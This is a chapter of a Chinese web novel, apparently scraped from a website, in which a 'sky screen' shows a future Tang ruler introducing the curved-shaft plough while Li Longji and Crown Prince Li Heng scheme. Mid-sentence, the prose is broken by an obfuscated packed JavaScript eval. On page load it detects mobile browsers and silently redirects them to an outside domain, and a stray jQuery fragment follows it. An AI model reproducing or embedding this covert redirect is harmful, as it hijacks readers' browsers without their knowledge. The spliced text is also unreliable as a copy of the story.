第三章
“解决粮食危机问题……这意思是不是,我们大家都能吃饱饭了?”
“没有饥荒了吗?前些年还闹蝗灾呢,就连皇帝都要去洛阳就食……”
天幕用语言勾勒出了一个世界再无饥荒的完美图景。
可这样的图景距离他们实在太远,大多数没钱的耕夫,所希望的仅仅是不被饿死,能活下来罢了。
过分智慧的人像妖怪,脱离现实规律的话就是蛊惑人心的妄言。
被饿久了的百姓,尽管因为天幕的话而振奋,可时代的局限让他们随之而来的反应是敬畏,是怀疑,甚至是恐惧。
“你爷的胡吣!简直是弄妖话哄骗众人!”见过更早年岁灾荒景象的暴躁老人指着天就骂。
信佛者双手合十地问:“得福必献祭,能永远吃得饱饭,这得供多少香火啊。”
有的对天幕说的那个皇帝抱怀疑态度:“厉害的皇帝也听说过,那厉害的跟神仙一样,就像假的了。”
“可别是什么妖术吧?”
少阳宫内,一个体貌丰伟的中年男人紧紧盯着天空异象。
长期的谨小慎微让他虽挺拔,但略显拘谨。
可此时此刻,这份拘谨也被他胸中涌动的,不可为人所知的野心冲淡了。
恍惚间,他的心成了一面鼓,而天幕的声音就如鼓槌,字字句句都敲击在了他的心上。
心湖一圈一圈涟漪荡着,直至天幕了句话——“昌禄陛下,她以一己之力,解决了整个大唐严峻的粮食危机问题!”
涟漪撞到了他的脑子,晃出了其中潜藏已久的心思。
李亨思索着。
若天幕所说皆是预言,那么这个昌禄陛下,就绝不可能是他的父皇。
天幕既没有说大唐已改朝换代更变国姓,那就说明,这位大唐的救星,未来的昌禄陛下还是李姓。
既然是李姓……
李亨抬头挺胸,负手而立。
既然是李姓,那为何不能是他这位名正言顺的东宫太子呢?
皇帝弃城而逃,长安失守,太子接手江山,收复国度力挽狂澜,这很合理吧?
李亨压抑着情绪,来回踱步。
何止合理,简直完美!
反观他那位坐在龙椅上,已经逐渐昏庸耽于享乐的父皇,才像是那个弃城而逃的皇帝。
长时间的隐忍让李亨比旁人更会隐藏自己的情绪,尽管此时此刻,他因为自己的猜测而心旌荡漾,可脸上依旧挂着一个“竟有如此明君?实在是大唐之幸”的肯定表情。
天幕下,眼白已经发黄的李隆基,眼里难得露出了明显的认真。
作为皇帝,他实在是太清楚关中是多么缺粮食。
粮食不仅对关中很重要,对大唐很重要,不仅是大唐,粮食这个能喂饱人肚子的东西,在历朝历代,都太重要了。
一日无粮则饥,三日无粮则乱,王朝稳定的根基就在于此。
不仅人需要粮食,行军打仗也是个消耗粮食的事,若断绝军队粮草,不出半月,队伍必散。
他如今为何看中韦坚?韦坚擅水利,能修渠,从江淮运来的钱财米粮,皆他手下的水路网。
他有大用啊。
不然他韦坚凭什么能娶公主?
至于韦坚是怎么性情暴戾,又是怎么视百姓性命于无物的,那不重要。
几个贱民的命,没了就没了。
至于女儿嫁过去会不会受苦,那也无足轻重。
那到底是个公主,韦坚还真能做闹出人命的出格之事吗?
能用一桩婚事,换韦坚为他忠心耿耿地卖命,实在是一笔稳赚不赔的生意。
公主不比皇子,一个女人,不能提刀上马,不能参议朝政,靠成婚就能有此展现价值的时候,她该感激他这个做父皇的,给了她一个为李唐皇室出力卖命的机会!
李隆基看着天幕,觉得这异象的出现也不算坏事,至少可以听听那个,昌禄皇帝,是怎么解决粮食危机问题。
那个叫昌禄的能让百姓吃饱饭,怎么他李隆基就不能吗?
到时候谁还知道这昌禄是谁,全天下的百姓看到粮食的时候,皆要对他李隆基感恩戴德!
【好,关于昌禄陛下让百姓吃饱饭的第一步,那就是推广改良版的直辕犁——曲辕犁。】
李隆基逐字分析。
曲辕犁?听起来像是发明了一种新的工具。
那只要他能弄明白这工具改造的原理,或是能看到这犁长得样子,那就可以把昌禄皇帝的功劳揽到自己身上。
李隆基打着完美的如意算盘,并挥手让左右快速通知木工部的匠人。
他亲自叮嘱:“若天幕出现了这个曲辕犁的模样,务必第一时间画下来,越详细越好!”
曲辕犁?!
李鸾的脑袋噌地一下就抬起来了。
从没听说过曲辕犁是哪个皇帝发明的啊?这玩意明明是劳动人民在广泛的实践中一步步改造出来的。
并且曲辕犁是在唐后期才广泛推广。
能把未来的东西提前拿出来……
感情这个昌禄皇帝跟她是从同一个地方来的啊!
李鸾呸了一口。
狡诈的穿越者,为了当上皇帝获得民心,把古代劳动人民的智慧据为己有。
“嘿——!”
天幕传来一声闷吼。
众人齐齐抬头看去。
只见一双赤脚踩住的,是大片龟裂灰白的土地。
这双脚的主人是个满脸沟壑纵横的老人,他岣嵝着背,用枯木一样的手紧紧攥着黝黑木柄。
他抬起脚,发出闷吼,可这脚踌躇着又缩了回来。
“我如今年老,没什么力气,这改好的犁第一次用,大家都看着,不如找个壮年……”
“放心吧,这地,你可以犁开。”
一个穿着粗布衣的女子同样握住曲辕犁的木柄,与这个老人站在一线。
她的声音带着安抚人心的力量。
李隆基警觉地看着这个女子的背影。
天幕只展示出了她一半的背影,还有她一身粗布衣裳。一双握住犁柄的手也展示出来了,纤长但不柔嫩,满指缝的黑泥,一双手还带着不算薄的茧。
这不是一个帝王的手。
李隆基松了口气的同时,甚至觉得荒唐。
他怎么会觉得那个被称为大唐救星的昌禄皇帝是个女人?
放眼大唐有这个本事的女人也只有一个。
李隆基脑海中闪过了很多画面。
有武则天高高坐在龙椅上的,有自己年幼幽居方寸之地的,最后所有混乱的画面都转到了当下。
他在泰山封禅,他开创了大唐的盛世,他做出了那个女人没有做出的功绩。
大唐皇帝的位置,是完完全全属于他的,属于李唐皇室。
是他,李隆基,诛杀韦后,斩了婉儿,缢死太平。是他,亲手终结了那个女人专权的混乱时代。
李隆基负手而立,带着一种不容逾越的威严。
天幕上的老人更握紧了犁柄。在那么多乡亲们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279395|182487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
期待的视线中,他不能失败。成与不成关系到他们之后能不能吃饱饭。
他更弯低了腰,迈出了重重一步。
“嗤啦——”
他一个踉跄,包铁的犁铧干脆利落,切肉一般剖开结板的干涸土地。
老人不敢置信地又走了几步,湿润的土腥味从破开的缝隙中溢出。
和土地打了一辈子交道的老人太知道这味道意味着什么了。
他浑浊的眼睛里已经有了泪水。
整个天幕充溢着百姓的欢呼。
天幕下的百姓也震惊了。
“怎么可能!我们用的犁就是深耕也只能耕四五寸的深度。”
“耕一天的地得需要两个牛,一个人,大土块需反复耙碎,就是个壮汉扶犁一日都得磨破了肩。”
“能造出这样好的东西,我已经相信昌禄陛下能让俺们吃饱饭了!”
天幕的画面并没有结束。
“这犁还能调得更深些。”女子遍犁地边提醒。
“好,好!”老人忙不迭地答应着。他粗糙的手略微颤抖着,摸到了犁上的卡榫。
伴随“咔哒”一声的轻响,犁铧猛地下沉。
更深的土地被犁开了!深层地底黑色泥土如波浪一般涌上来,连带着不知多少年的腐朽树根也一并被挖了上来。
泥土的腥味更加浓烈,这种腐朽与新生交织的奇异味道,自天幕传出,涓涓不停地流泻到了每一个人的鼻间。
“就是这个味道!”天幕下的耕夫不能抑制地兴奋。
大唐的农民何其之多,没有人不知道能犁这么深的地代表着什么。
只需要换个工具,耕地的时候就能省那么多的力!
“我们用的那个笨不楞登的老犁,就得三个人一起用,家里哪有那些人?”
“可不是,耕得还浅,撅着大腚哼哧哼哧干一天,庄稼都种不深,雨水少点都得蔫吧。”
“我家那干巴老地翻一翻,指不定也能变成流油的黑土地呢。”
“这个工具到底是什么啊,这也看不清全貌啊。”
“是啊是啊,这但凡能展示出全部的样子,俺们也好跟着学。”
在百姓们都在关心这犁到底是什么样子的时候,李隆基的心却沉了下来。
天幕的画面实实在在地抽了他两巴掌。
此前对那个叫昌禄皇帝的质疑在此刻略显好笑。
到底是什么人,有这样大的才能?
此时此刻,李隆基深感威胁。
而天幕才刚开始,关于这位昌禄皇帝的事迹,他也仅了解了皮毛。
李隆基毫不怀疑这天幕在此后会说出更多的,为昌禄皇帝赚取民心的事迹。
那么一旦这位昌禄皇帝在天幕出现,被所有人都认出了身份……
李隆基握紧了拳头。
天幕之上,一缕微风拂过,一片衣角被吹起,遮住了三分之一的画面。
除了老人和指导老人耕地的女子,画面里又多出了一个人。
这人圆领袍的颜色倒素淡,只是衣角用赤黄线描边勾勒,彰显身份不凡。
“做得不错。”他对着那挽起裤脚,两脚插地的女子点头,以上位者的姿态予以肯定。
画面更大了一些,在耕地边围着的百姓兴奋着,流泪着跪成一片。
而他们膝盖所弯的,正是着那身份不凡的男人所在的方向。
李隆基瞳孔紧缩。
他看到了这个男人腰间所系的羊脂白玉双龙玉佩。
这是太子李亨!!